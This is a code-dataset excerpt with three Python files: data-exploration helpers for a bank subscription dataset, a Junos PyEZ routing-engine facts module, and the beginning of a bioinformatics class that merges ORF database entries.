rate'] = data_copy[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n table = table.drop(columns=['Single', 'Married', 'Divorced'])\n y = table['Subscription rate']\n X = table.drop(columns='Subscription rate')\n ols = OLS(y, X).fit()\n print(ols.summary2())\n\ndef bonferroni_outlier_test_retired(data):\n data_copy = data.copy()\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Proportion Single'] = table['Single'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Proportion Married'] = table['Married'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Subscription rate'] = data_copy[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n table = table.drop(columns=['Single', 'Married', 'Divorced'])\n y = table['Subscription rate']\n X = table.drop(columns='Subscription rate')\n ols = OLS(y, X).fit()\n print(f\"Bonferroni outlier test p-value: {ols.outlier_test()['bonf(p)']['Retraité']}\")\n\ndef show_results_linear_regression_subscription_rate_without_retired(data):\n data_copy = data.copy()\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n data_copy = data_copy[~data_copy['JOB_TYPE'].eq('Retired')]\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Proportion Single'] = table['Single'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Proportion Married'] = table['Married'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Subscription rate'] = data_copy[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n table = table.drop(columns=['Single', 'Married', 'Divorced'])\n y = table['Subscription rate']\n X = table.drop(columns='Subscription rate')\n ols = OLS(y, X).fit()\n print(ols.summary2())\n\ndef show_predictions_subscription_rate_without_retired(data):\n data_copy = data.copy()\n data_copy = data_copy[~data_copy['JOB_TYPE'].eq('Retraité')]\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Proportion Single'] = table['Single'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Proportion Married'] = table['Married'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Subscription rate'] = data_copy[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n table = table.drop(columns=['Single', 'Married', 'Divorced'])\n y = table['Subscription rate']\n X = table.drop(columns='Subscription rate')\n ols = OLS(y, X).fit()\n table['Predictions'] = ols.fittedvalues\n display(table)\n\ndef show_mean_age_by_job_type(data):\n table = data.loc[~data.AGE.eq(123), ['AGE', 'JOB_TYPE']].groupby('JOB_TYPE').agg('mean')\n table.columns = ['Mean age']\n display(table)\n\ndef replace_age123_by_mean_in_job_type(data):\n replacements = data.loc[~data.AGE.eq(123), ['AGE', 'JOB_TYPE']].groupby('JOB_TYPE').agg('mean').to_dict()\n relevant_observations = data.AGE.eq(123)\n corresponding_job_types = data.loc[relevant_observations, 'JOB_TYPE']\n data.loc[relevant_observations, 'AGE'] = \\\n corresponding_job_types.replace(replacements['AGE'])\n\ndef plot_age_histogram(data):\n sns.displot(data,\n x='AGE',\n hue='SUBSCRIPTION',\n stat='density',\n common_norm=False,\n element='step',\n palette='bright')\n plt.title(\"Densité de l'âge des souscripteurs et des non-souscripteurs\")\n plt.show()\n\ndef plot_date_by_year(data):\n weekdays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n data['year-month'] = data['DATE'].apply(lambda x: x[:7])\n data['date'] = data['DATE'].apply(lambda x: dt.datetime.strptime(x, '%Y-%m-%d'))\n data['year'] = data['date'].apply(lambda x: x.year)\n data['MONTH'] = data['date'].apply(lambda x: months[x.month-1])\n data['WEEKDAY'] = data['date'].apply(lambda x: weekdays[x.weekday()])\n sns.countplot(data.year)\n plt.xlabel('YEAR')\n plt.ylabel('Effectif')\n plt.title(\"Nombre de clients contactés par an\")\n plt.show()\n\ndef plot_date_year_and_month(data):\n sns.countplot(data['year-month'])\n plt.xlabel('Mois et année')\n plt.ylabel('Effectif')\n plt.title(\"Nombre de clients contactés par mois\")\n plt.xticks([0, 7, 13, 19, 25], ('2008-05', '2009-01', '2009-07', '2010-01', '2010-07'))\n plt.show()\n\ndef show_table_subscription_by_weekday(data):\n table = data[['WEEKDAY', 'SUBSCRIPTION']].groupby('WEEKDAY').agg('mean')['SUBSCRIPTION'].sort_values()\n table = pd.DataFrame(table)\n table.columns = ['Subscription rate']\n display(table)\n\ndef test_independence_between_target_and_weekday(data):\n crosstab = pd.crosstab(data['SUBSCRIPTION'], data['year-month'])\n test = chi2_contingency(crosstab)\n print(f\"La p-valeur du test du chi2 d'indépendance est de {test[1]} : le jour de la semaine n'est donc\"\n f\" pas indépendant de la cible.\")\n\ndef show_table_subscription_by_month(data):\n table = data[['MONTH', 'SUBSCRIPTION']].groupby('MONTH').agg('mean')['SUBSCRIPTION'].sort_values()\n table = pd.DataFrame(table)\n table.columns = ['Subscription rate']\n display(table)\n\ndef plot_education(data):\n sns.countplot(data['EDUCATION'])\n plt.ylabel('Effectif')\n plt.title(\"Distribution de la variable EDUCATION\")\n plt.show()\n\ndef show_table_subscription_by_education(data):\n table = data[['EDUCATION', 'SUBSCRIPTION']].groupby('EDUCATION').agg('mean')['SUBSCRIPTION'].sort_values()\n table = pd.DataFrame(table)\n table.columns = ['Subscription rate']\n display(table)\n\ndef plot_has_housing_and_perso_loan(data):\n fig, ax = plt.subplots(1, 2, figsize=(12, 5))\n sns.countplot(ax=ax[0], x='HAS_HOUSING_LOAN', data=data)\n plt.ylabel('Effectif')\n plt.title(\"Distribution de la variable HAS_HOUSING_LOAN\")\n sns.countplot(ax=ax[1], x='HAS_PERSO_LOAN', data=data)\n plt.ylabel('Effectif')\n plt.title(\"Distribution de la variable HAS_PERSO_LOAN\")\n plt.show()\n\ndef show_correlation_loan_variables_with_target(data):\n data['HAS_HOUSING_LOAN'] = data['HAS_HOUSING_LOAN'].eq('Yes').astype(int)\n data['HAS_PERSO_LOAN'] = data['HAS_PERSO_LOAN'].eq('Yes').astype(int)\n data['HAS_LOAN'] = data['HAS_HOUSING_LOAN'] + data['HAS_PERSO_LOAN'] \\\n - data['HAS_HOUSING_LOAN'] * data['HAS_PERSO_LOAN']\n correlations = data[['HAS_PERSO_LOAN', 'HAS_HOUSING_LOAN', 'HAS_LOAN', 'SUBSCRIPTION']].corr()['SUBSCRIPTION']\n correlations = pd.DataFrame(correlations)\n correlations.drop(labels=['SUBSCRIPTION'], axis=0, inplace=True)\n correlations.columns = ['Correlation with target']\n display(correlations)\n\ndef plot_has_default(data):\n sns.countplot(data['HAS_DEFAULT'])\n plt.ylabel('Effectif')\n plt.title('Distribution de la variable HAS_DEFAULT')\n plt.show()\n\ndef compute_correlation_has_default_target(data):\n data['HAS_DEFAULT'] = data['HAS_DEFAULT'].eq('Yes').astype(int)\n correlation = data[['HAS_DEFAULT', 'SUBSCRIPTION']].corr()['SUBSCRIPTION'][0]\n print(f'La corrélation avec la cible est de {correlation}.')\n\ndef missing_values_percentage_of_result_by_month(data):\n table = data[['RESULT_LAST_CAMPAIGN', 'year-month']]\\\n .groupby('year-month')\\\n .agg(lambda x: 100 * x.isnull().sum() / len(x))\n plt.plot(table)\n plt.xlabel('Mois')\n plt.ylabel('Pourcentage')\n plt.title('Pourcentage de valeurs manquantes par mois')\n plt.xticks([0, 7, 13, 19, 25], ('2008-05', '2009-01', '2009-07', '2010-01', '2010-07'))\n plt.show()\n\ndef fill_missing_values_result_last_campaign(data):\n data.loc[(data['NB_DAY_LAST_CONTACT'].ne(-1))&(data['RESULT_LAST_CAMPAIGN'].isnull()), 'RESULT_LAST_CAMPAIGN'] = \"Other\"\n data.loc[data['RESULT_LAST_CAMPAIGN'].isnull(), 'RESULT_LAST_CAMPAIGN'] = \"First contact\"\n\ndef show_table_subscription_by_result_last_campaign(data):\n table = data[['RESULT_LAST_CAMPAIGN', 'SUBSCRIPTION']].groupby('RESULT_LAST_CAMPAIGN').agg('mean')\n table = pd.DataFrame(table)\n table.columns = ['Subscription rate']\n display(table)\n\ndef plot_nb_days_last_contact(data):\n data['NB_DAYS_LAST_CONTACT'] = data['NB_DAY_LAST_CONTACT']\n sns.histplot(data.loc[data.NB_DAYS_LAST_CONTACT.ne(-1), 'NB_DAYS_LAST_CONTACT'], kde=True)\n plt.title('Distribution de NB_DAYS_LAST_CONTACT pour les valeurs positives')\n plt.show()\n\ndef compute_binned_nb_days_last_contact(data):\n data_to_bin = data.loc[data['NB_DAY_LAST_CONTACT'].ne(-1), 'NB_DAY_LAST_CONTACT']\n groups = pd.qcut(data_to_bin, 4)\n data_to_bin = data_to_bin.groupby(groups).transform('mean')\n data['BINNED_NB_DAYS_LAST_CONTACT'] = data['NB_DAY_LAST_CONTACT']\n data.loc[data['NB_DAY_LAST_CONTACT'].ne(-1), 'BINNED_NB_DAYS_LAST_CONTACT'] = data_to_bin\n data.loc[data['NB_DAY_LAST_CONTACT'].eq(-1), 'BINNED_NB_DAYS_LAST_CONTACT'] = data_to_bin.max()\n\ndef compute_correlation_binned_nb_days_last_contact_target(data):\n correlation = data[['SUBSCRIPTION', 'BINNED_NB_DAYS_LAST_CONTACT']].corr()['SUBSCRIPTION'][1]\n print(f'La corrélation entre le nouveau feature et la cible est de {correlation}.')\n\ndef histogram_nb_contacts(data):\n plt.hist(data['NB_CONTACT'])\n plt.ylabel('Count')\n plt.xlabel('NB_CONTACTS')\n plt.ylabel('Effectif')\n plt.title('Distribution de NB_CONTACTS')\n plt.show()\n\ndef clip_nb_contacts(data):\n data['CLIPPED_NB_CONTACT'] = np.clip(data['NB_CONTACT'], a_min=0, a_max=15)\n\ndef histogram_clipped_nb_contacts(data):\n plt.hist(data['CLIPPED_NB_CONTACT'])\n plt.ylabel('Count')\n plt.xlabel('clipped NB_CONTACTS')\n plt.title('Distribution of clipped NB_CONTACTS')\n plt.show()\n\ndef clip_nb_contacts_last_campaign(data):\n data['CLIPPED_NB_CONTACT_LAST_CAMPAIGN'] = np.clip(data['NB_CONTACT_LAST_CAMPAIGN'], a_min=0, a_max=15)\n\ndef histogram_clipped_nb_contacts_last_campaign(data):\n plt.hist(data['CLIPPED_NB_CONTACT_LAST_CAMPAIGN'])\n plt.ylabel('Count')\n plt.xlabel('clipped NB_CONTACTS_LAST_CAMPAIGN')\n plt.title('Distribution of clipped NB_CONTACTS_LAST_CAMPAIGN')\n plt.show()","sub_path":"notebooks/eda-notebook/eda_utilities.py","file_name":"eda_utilities.py","file_ext":"py","file_size_in_byte":15892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"299278940","text":"from jnpr.junos.exception import RpcError\n\ndef provides_facts():\n \"\"\"\n Returns a dictionary keyed on the facts provided by this module. The value\n of each key is the doc string describing the fact.\n \"\"\"\n return {'current_re': \"A list of internal routing instance hostnames \"\n \"for the current RE. These hostnames identify \"\n \"things like the RE's slot ('re0' or 're1'), the \"\n \"RE's mastership state ('master' or 'backup'), \"\n \"and node in a VC ('member0' or 'member1')\", }\n\n\ndef get_facts(device):\n \"\"\"\n The RPC-equivalent of show interfaces terse on private routing instance.\n \"\"\"\n current_re = None\n try:\n rsp = device.rpc.get_interface_information(\n normalize=True,\n routing_instance='__juniper_private1__',\n terse=True, )\n # Get the local IPv4 addresses from the response.\n for ifa in rsp.iterfind(\".//address-family[address-family-name='inet']/\"\n \"interface-address/ifa-local\"):\n ifa_text = ifa.text\n if ifa_text is not None:\n # Separate the IP from the mask\n (ip, _, _) = ifa.text.partition('/')\n if ip is not None:\n # Use the _iri_hostname fact to map the IP address to\n # an internal routing instance hostname.\n if ip in device.facts['_iri_hostname']:\n if current_re is None:\n # Make a copy, not a reference\n current_re = list(device.facts['_iri_hostname'][ip])\n else:\n for host in device.facts['_iri_hostname'][ip]:\n if host not in current_re:\n current_re.append(host)\n except RpcError:\n pass\n\n return {'current_re': current_re, }\n","sub_path":"lib/jnpr/junos/facts/current_re.py","file_name":"current_re.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"319578703","text":"# -*- coding: utf-8 -*-\n\nimport ConfigParser\nimport os\nimport pandas as pd\nimport itertools\n\nfrom sqlalchemy import func\nfrom sqlalchemy import or_, and_\n\nfrom multiprocessing import cpu_count\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\n\nfrom fr.tagc.uorf.core.model import *\n\nfrom fr.tagc.uorf.core.execution.DatabaseCheckStrategy import DatabaseCheckStrategy\n\nfrom fr.tagc.uorf.core.execution.merge import *\n\nfrom fr.tagc.uorf.core.util import DefaultTemporaryFolder\nfrom fr.tagc.uorf.core.util import Constants\nfrom fr.tagc.uorf.core.util import LogCodes\nfrom fr.tagc.uorf.core.util.data.DataManager import DataManager\nfrom fr.tagc.uorf.core.util.sql.SQLManagerDS import SQLManagerDS\nfrom fr.tagc.uorf.core.util.sql.SQLManagerPRO import SQLManagerPRO\nfrom fr.tagc.uorf.core.util.option.OptionManager import OptionManager\nfrom fr.tagc.uorf.core.util.option import OptionConstants\nfrom fr.tagc.uorf.core.util.genetics.GeneticsUtil import GeneticsUtil\nfrom fr.tagc.uorf.core.util.general.GeneralUtil import GeneralUtil\nfrom fr.tagc.uorf.core.util.general.FileHandlerUtil import FileHandlerUtil\nfrom fr.tagc.uorf.core.util.graphics.ProgressionBar import ProgressionBar\nfrom fr.tagc.uorf.core.util.exception import *\nfrom fr.tagc.uorf.core.util.log.Logger import Logger\n\n\n# ================================================================================\n# GENERAL INFORMATION REGARDING THE MULTI-PROCESSING\n#\n# In order to lower as most as possible the highly time-consuming steps of \n# this strategy, some processed are run concurrently.\n# \n# Here are some generics important information regarding the multi-processing:\n# - Multi-processing has been chosen instead of multi-threading, in particular \n# to side-step the GIL (Global Interpreter Lock).\n# - The processes use all available / provided CPUs to run.\n# - The pathos package has been chosen as it allows to serialize functions which \n# are not top-level ones, such as class static methods (contrary to the \n# multiprocessing built-in package for instance).\n# - Unless contrary information, the processes are run in pools which is one of \n# the most convenient mean to parallelize the execution of a function across \n# multiple inputs. The Pool map() method is used to do so.\n# - As access of objects shared by the several processes (using locks and semaphores \n# for instance), could slower a lot the speed of execution when the process \n# regularly need to access these variables, it has been decided to do not access \n# to shared resources. Usually several lists of objects are returned by the \n# parallelized processed in order to ensure database integrity. Please see the \n# documentation of the methods for more information about this. \n# - In order to use efficiently the Pool map() method, the arguments needed by the\n# forked function are embedded into tuples of fixed-size. See the documentation\n# of the methods used with map for more information about its expected parameter.\n#\n# ================================================================================\n\n\n## MergeStrategy\n# =============\n#\n# This class is a strategy aiming to create a new PRO database \n# by merging the data from the DS database.\n#\nclass MergeStrategy( object ):\n \n ## Class variables\n # ---------------\n # \n # List of attributes to look at for merging the same DSORFs together\n ATTRIBUTES_FOR_MERGING_SAME_DSORF = [ 'chromosome', 'strand', 'start_pos', 'stop_pos', 'spliced', \n 'spliced_parts_count', 'splice_starts', 'splice_ends' ]\n \n # List of attributes to look at for merging the similar DSORFs together\n ATTRIBUTES_FOR_MERGING_SIMILAR_DSORF = ATTRIBUTES_FOR_MERGING_SAME_DSORF\n \n # List of attributes to look at for merging DSTranscripts together\n ATTRIBUTES_FOR_MERGING_SIMILAR_DSTRANSCRIPT = [ 'strand', 'start_pos', 'end_pos', \n 'cds_start_pos', 'cds_stop_pos' ]\n \n # List of attributes for which the values needs to be check \n # prior to merge two DSTranscript entries together\n ATT_TO_CHECK_FOR_MERGING_SAME_DSTRANSCRIPT = [ 'strand', 'start_pos', 'end_pos', \n 'cds_start_pos', 'cds_stop_pos', 'rna_biotype' ]\n \n\n ## Constructor of MergeStrategy\n # ----------------------------\n #\n # Instance variables:\n # - configfile: String - The path to the config file.\n # - species: String - The name of the species in the database.\n # - sqce_consensus_ambig_threshold: Float[0,1] - The threshold to use to compute the \n # sequence consensus interval.\n # - max_len_diff_dsota_clust: Integer (>0) - The maximal difference between the max. \n # and min. lengths of DSORFTranscriptAsso \n # entries to belong to the same \"cluster\".\n # - thread_nb: Integer (>0) - The number of threads that can be use.\n #\n # @throw DenCellORFException: When the config file is not provided or cannot be found at the\n # path provided.\n # @throw DenCellORFException: If the number of threads provided is not an integer.\n # @throw DenCellORFException: If the number of threads provided is not a positive integer.\n #\n def __init__( self ):\n\n configfile = OptionManager.get_instance().get_option( OptionConstants.OPTION_CONFIG_FILE_PATH, not_none=True )\n\n if configfile:\n self.configfile = configfile\n if not os.path.exists( configfile ):\n raise DenCellORFException( 'No config file may be found at the path provided (' + \n self.configfile + ').' )\n self.parse_config()\n else:\n raise DenCellORFException( 'A config file has to be provided.' +\n ' See the documentation for more information.' )\n \n # Check if the checkDSOTA option has been selected\n if OptionManager.get_instance().get_option( OptionConstants.OPTION_CHECK_DSOTA_COHERENCE, not_none = False ):\n self.check_dsota_coherence = True\n else:\n self.check_dsota_coherence = False\n \n # Check if the computeConsensus option has been selected\n if OptionManager.get_instance().get_option( OptionConstants.OPTION_COMPUTE_SQCE_CONSENSUS, not_none = False ):\n self.compute_consensus = True\n else:\n self.compute_consensus = False\n \n # Get the number of threads available\n self.thread_nb = OptionManager.get_instance().get_option( OptionConstants.OPTION_THREAD_NB, \n not_none = False )\n available_thread_nb = cpu_count()\n if self.thread_nb:\n try:\n self.thread_nb = int( self.thread_nb )\n except:\n raise DenCellORFException( 'MergeStrategy: The value provided for the number of threads' +\n ' needs to be an integer (provided value: ' + \n str( self.thread_nb ) + ').' )\n else:\n if ( self.thread_nb < 1 ):\n raise DenCellORFException( 'MergeStrategy: The value provided for the number of threads' +\n ' needs to be an integer greater than 1 (provided value: ' + \n str( self.thread_nb ) + ').' )\n \n if ( self.thread_nb > available_thread_nb ):\n Logger.get_instance().info( 'The number of threads provided (' + str( self.thread_nb ) +\n ') is greater than the number of threads actually' +\n ' available(' + str( available_thread_nb ) +\n '). Hence, ' + str( available_thread_nb ) +\n ' threads will be used for the computation.' )\n else:\n self.thread_nb = available_thread_nb\n \n Logger.get_instance().debug( 'MergeStrategy: ' + str( self.thread_nb ) + \n ' threads will be used during the merging.' )\n\n\n\n ## parse_config\n # ------------\n #\n # Parse the config file to retrieve required information.\n #\n # @throw DenCellORFException: When expected sections / options are not provided in the config file.\n # @throw DenCellORFException: When the threshold to use as value for the minimal absolute difference \n # in genomic lengths at which the DSORF entries should not be considered\n # to build the PRO database cannot be converted into an interger or is a \n # negative value different to -1.\n # @throw DenCellORFException: When the threshold to use to compute the sequence consensus cannot\n # be converted into a float or is outside of the [0,1] interval.\n # @throw DenCellORFException: When the value of the maximal difference between the max. and min.\n # lengths of DSORFTranscriptAsso entries to belong to the same \"cluster\"\n # cannot be converted into an integer or is negative.\n #\n def parse_config( self ):\n \n # Read the configfile\n config = ConfigParser.ConfigParser()\n config.optionxform = lambda option: option\n config.read( self.configfile )\n \n # Get the value of the minimal absolute difference in genomic \n # lengths at which the DSORF entries should not be considered \n # to build the PRO database\n if config.has_option( Constants.CONFIG_SECTION_MERGE_PARAMETERS, Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_GEN_LEN_DIFF_THRESHOLD ):\n self.gen_len_diff_threshold = config.get( Constants.CONFIG_SECTION_MERGE_PARAMETERS, \n Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_GEN_LEN_DIFF_THRESHOLD )\n try:\n self.gen_len_diff_threshold = int( self.gen_len_diff_threshold )\n except:\n raise DenCellORFException( 'MergeStrategy.parse_config(): The threshold to used as minimal' +\n ' value for the absolute difference in genomic lengths at which' +\n ' the DSORF entries should be not be considered to build the' +\n ' PRO database needs to be a float (provided value: ' + \n str( self.gen_len_diff_threshold ) + ' ).' )\n else:\n if ( ( self.gen_len_diff_threshold < 0 ) \n and ( self.gen_len_diff_threshold != Constants.GEN_LEN_DIFF_THRESHOLD_IGNORE ) ):\n raise DenCellORFException( 'MergeStrategy.parse_config(): The threshold to used as minimal' +\n ' value for the absolute difference in genomic lengths at which' +\n ' the DSORF entries should be not be considered to build the' +\n ' PRO database needs to be a positive float (provided value: ' + \n str( self.gen_len_diff_threshold ) + ' ).' )\n else:\n self.gen_len_diff_threshold = Constants.DEFAULT_MERGE_GEN_LEN_DIFF_THRESHOLD\n Logger.get_instance().debug( 'MergeStrategy.parse_config(): As there was no value provided' +\n ' for the threshold the absolute difference in genomic lengths' +\n ' at which the DSORF entries should be not be considered to' +\n ' build the PRO database in the config file, the default value' +\n ' of ' + str( Constants.DEFAULT_MERGE_GEN_LEN_DIFF_THRESHOLD ) + \n ' will be used.' )\n \n \n # Get the value of the threshold to use when computing \n # the consensus sequence if it is provided\n if config.has_option( Constants.CONFIG_SECTION_MERGE_PARAMETERS, Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_SQCE_CONSENSUS_AMBIG_THRESHOLD ):\n self.sqce_consensus_ambig_threshold = config.get( Constants.CONFIG_SECTION_MERGE_PARAMETERS, \n Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_SQCE_CONSENSUS_AMBIG_THRESHOLD )\n try:\n self.sqce_consensus_ambig_threshold = float( self.sqce_consensus_ambig_threshold )\n except:\n raise DenCellORFException( 'MergeStrategy.parse_config(): The threshold to use to compute' +\n ' the sequence consensus needs to be a float (provided value: ' + \n str( self.sqce_consensus_ambig_threshold ) + ' ).' )\n else:\n if ( ( self.sqce_consensus_ambig_threshold < 0 ) \n or ( self.sqce_consensus_ambig_threshold > 1 ) ):\n raise DenCellORFException( 'MergeStrategy.parse_config(): The threshold to use to' +\n ' compute the sequence consensus needs to be a float' +\n ' between 0 and 1 (provided value: ' + \n str( self.sqce_consensus_ambig_threshold ) + ' ).' )\n else:\n self.sqce_consensus_ambig_threshold = Constants.DEFAULT_SQCE_CONSENSUS_AMBIG_THRESHOLD\n Logger.get_instance().debug( 'MergeStrategy.parse_config(): As there was no value provided' +\n ' for the threshold to use to compute the sequence consensus' +\n ' in the config file, the default value of ' + \n str( Constants.DEFAULT_SQCE_CONSENSUS_AMBIG_THRESHOLD ) + \n ' will be used.' )\n \n # Get the value for the maximal difference between the \n # max. and min. lengths of DSORFTranscriptAsso to make them belong \n # to the same \"cluster\"\n if config.has_option( Constants.CONFIG_SECTION_MERGE_PARAMETERS, Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_MAX_LEN_DIFF_FOR_DSOTA_CLUSTERS ):\n self.max_len_diff_dsota_clust = config.get( Constants.CONFIG_SECTION_MERGE_PARAMETERS, \n Constants.CONFIG_SECTION_MERGE_PARAMETERS_ITEM_MAX_LEN_DIFF_FOR_DSOTA_CLUSTERS )\n try:\n self.max_len_diff_dsota_clust = int( self.max_len_diff_dsota_clust )\n except:\n raise DenCellORFException( 'MergeStrategy.parse_config(): The value for the maximal' +\n ' difference between the max. and min. lengths of' +\n ' DSORFTranscriptAsso to make them belong to the same \"cluster\"' +\n ' needs to be an integer (provided value: ' + \n str( self.max_len_diff_dsota_clust ) + ' ).' )\n else:\n if ( self.max_len_diff_dsota_clust < 0 ):\n raise DenCellORFException( 'MergeStrategy.parse_config(): The value for the maximal' +\n ' difference between the max. and min. lengths of' +\n ' DSORFTranscriptAsso to make them belong to the same \"cluster\"' +\n ' needs to be a positive integer (provided value: ' + \n str( self.sqce_consensus_ambig_threshold ) + ' ).' )\n else:\n self.max_len_diff_dsota_clust = Constants.DEFAULT_MAX_LEN_DIFF_FOR_DSOTA_CLUSTERS\n Logger.get_instance().debug( 'MergeStrategy.parse_config(): As there was no value for the' +\n ' maximal difference between the max. and min. lengths of' +\n ' DSORFTranscriptAsso to make them belong to the same \"cluster\"' +\n ' in the config file, the default value of ' + \n str( Constants.DEFAULT_MAX_LEN_DIFF_FOR_DSOTA_CLUSTERS ) + \n ' will be used.' )\n \n \n \n ## execute\n # -------\n #\n # Execute the strategy to complete missing information and merge the data.\n # \n # @throw DenCellORFException: When an exception has been raised during the DatabaseCheck.\n # @throw DenCellORFException: When the DSORFTranscriptAsso table does not contain any entry.\n # @throw DenCellORFException: When the DSORF table does not contain any entry with start \n # position coordinates.\n # @throw DenCellORFException: When the PRO database is not empty.\n # \n def execute( self ):\n \n # Run DatabaseCheck in order to check the DS and PRO databases \n # are reachable prior to the merging of data\n Logger.get_instance().info( 'Checking the databases prior to the merging step...' )\n try:\n DatabaseCheckStrategy().execute()\n except Exception as e:\n raise DenCellORFException( 'An error occurred whilst checking the database prior to' +\n ' merging step.' +\n '\\n Error code: ' + LogCodes.ERR_DBCHECK + '.', e )\n \n \n # Check there is at least one DSORFTranscriptAsso entry \n # in the database prior to merge the data.\n dsorftranscriptasso_count = SQLManagerDS.get_instance().get_session().query( DSORFTranscriptAsso ).count()\n SQLManagerDS.get_instance().close_session()\n \n if ( dsorftranscriptasso_count == 0 ):\n raise DenCellORFException( 'There is not any entry found in the DSORFTranscriptAsso' +\n ' table of the ' + SQLManagerDS.get_instance().get_db_name() + \n ' database (DS database). Hence, the merging of data will' +\n ' be stopped.' )\n \n \n # Check if the lift over has been performed (check on the start position)\n dsorf_with_liftov_coord_count = SQLManagerDS.get_instance().get_session().query( DSORF ).filter( DSORF.start_pos != None ).count()\n SQLManagerDS.get_instance().close_session()\n \n if ( dsorf_with_liftov_coord_count == 0 ):\n raise DenCellORFException( 'It seems that the lift over has not been performed on the' +\n ' DS database. Make sure to run the LiftOver strategry prior to use' +\n ' the MergeStrategy (see the documentation for more information).' +\n ' The merging of data will thus be stopped.' )\n \n \n # Check there is no entries in the tables of the PRO database prior to merge the data.\n progene_count = SQLManagerPRO.get_instance().get_session().query( PROGene ).count()\n prometadata_count = SQLManagerPRO.get_instance().get_session().query( PROMetadata ).count()\n orf_count = SQLManagerPRO.get_instance().get_session().query( ORF ).count()\n transcript_count = SQLManagerPRO.get_instance().get_session().query( Transcript ).count()\n orftranscriptasso_count = SQLManagerPRO.get_instance().get_session().query( ORFTranscriptAsso ).count()\n SQLManagerPRO.get_instance().close_session()\n \n if ( progene_count, prometadata_count, orf_count, transcript_count, orftranscriptasso_count ) != ( 0, 0, 0, 0, 0 ):\n raise DenCellORFException( 'Entries have been found in the PRO database.' +\n ' Make sure to use an empty PRO database prior to run the merge' +\n ' strategy or to use the \"-f\" option.' +\n ' Please see the documentation for more information.' )\n \n # Register the name of the DS database used to create the PRO one\n metadata_ds_db_name = PROMetadata( parameter = Constants.METATABLE_DS_ORIGIN,\n value = SQLManagerDS.get_instance().get_db_name(),\n description = Constants.METATABLE_DS_ORIGIN_DESCRIPTION )\n SQLManagerPRO.get_instance().get_session().add( metadata_ds_db_name )\n SQLManagerPRO.get_instance().commit()\n SQLManagerPRO.get_instance().close_session()\n \n # Regroup the same ORFs together\n self.copy_conserved_tables()\n \n # Regroup the same ORFs together\n self.merge_dsorfs()\n \n # Regroup the same transcripts together\n self.merge_dstranscripts()\n \n # Recover all the DSORFTranscriptAsso, \n # and associate them with their actual ORFs and transcript\n self.merge_dsorftranscriptasso()\n \n # Clean the database by removing parent entries that have no child\n self.clean_pro_database()\n \n \n \n ## copy_conserved_tables\n # ---------------------\n #\n # This methods aims to \"copy\" the content of the DS database tables\n # for which there is no need to merge the data, into the PRO database.\n # The content of the following tables is treated:\n # - Metadata table (copied into PROMetadata)\n # - Gene table (copied into PROGene)\n # - GeneAlias table (copied into PROGeneAlias)\n #\n # NB: For some of these entries, only a part of the attributes is copied.\n # \n def copy_conserved_tables( self ):\n \n ## Copy all the entries of:\n # - Metadata table (into PROMetadata)\n # - Gene table (into PROGene)\n # - GeneAlias table (into PROGeneAlias)\n \n # The entries of these tables are just copied from the DS database\n # to the corresponding tables of the PRO database.\n \n Logger.get_instance().info( 'Copying the entries of the gene-related and metadata-related' +\n ' tables into the PRO database.')\n\n objects_to_insert = []\n \n # Copy all the Metadata entries\n ds_metadata_all = SQLManagerDS.get_instance().get_session().query( Metadata ).all()\n \n for ds_metadata in ds_metadata_all:\n pro_metadata = PROMetadata( parameter = ds_metadata.parameter,\n value = ds_metadata.value,\n description = ds_metadata.description ) \n objects_to_insert.append( pro_metadata )\n \n \n # Copy all the Gene entries\n ds_gene_all = SQLManagerDS.get_instance().get_session().query( Gene ).all()\n \n for ds_gene in ds_gene_all:\n pro_gene = PROGene( gene_id = ds_gene.gene_id,\n chromosome = ds_gene.chromosome ) \n objects_to_insert.append( pro_gene )\n \n \n # Copy all the GeneAlias entries\n ds_genealias_all = SQLManagerDS.get_instance().get_session().query( GeneAlias ).all()\n \n for ds_genealias in ds_genealias_all:\n pro_genealias = PROGeneAlias( gene_id = ds_genealias.gene_id,\n alias = ds_genealias.alias ) \n objects_to_insert.append( pro_genealias )\n \n \n # Insert the newly created objects in the database\n self.batch_insert_to_PRO_db( objects_to_insert = objects_to_insert,\n filename = 'conserved_tables',\n process = 'copy the content of the \"conserved\" tables' )\n SQLManagerDS.get_instance().close_session()\n \n Logger.get_instance().info( 'The entries of the gene and metadata tables have been copied.')\n\n \n \n # ===============================================================================\n # Methods related to the merging of DSORFs\n # =============================================================================== \n \n ## merge_dsorfs\n # ------------\n #\n # This methods aims to merge the similar entries of the DSORF table \n # (DS database) into new entries of the ORF table (PRO database).\n #\n def merge_dsorfs( self ):\n \n Logger.get_instance().info( 'Starting to merge the entries of the DSORF table.')\n \n ## Regroup the exact same ORFs together\n # ------------------------------------\n \n # First, \n # - Get the list of DSORFs regrouped by ORFs sharing the same values for \n # the following attributes: chromosome, strand, start position, stop position, \n # spliced, spliced parts count, 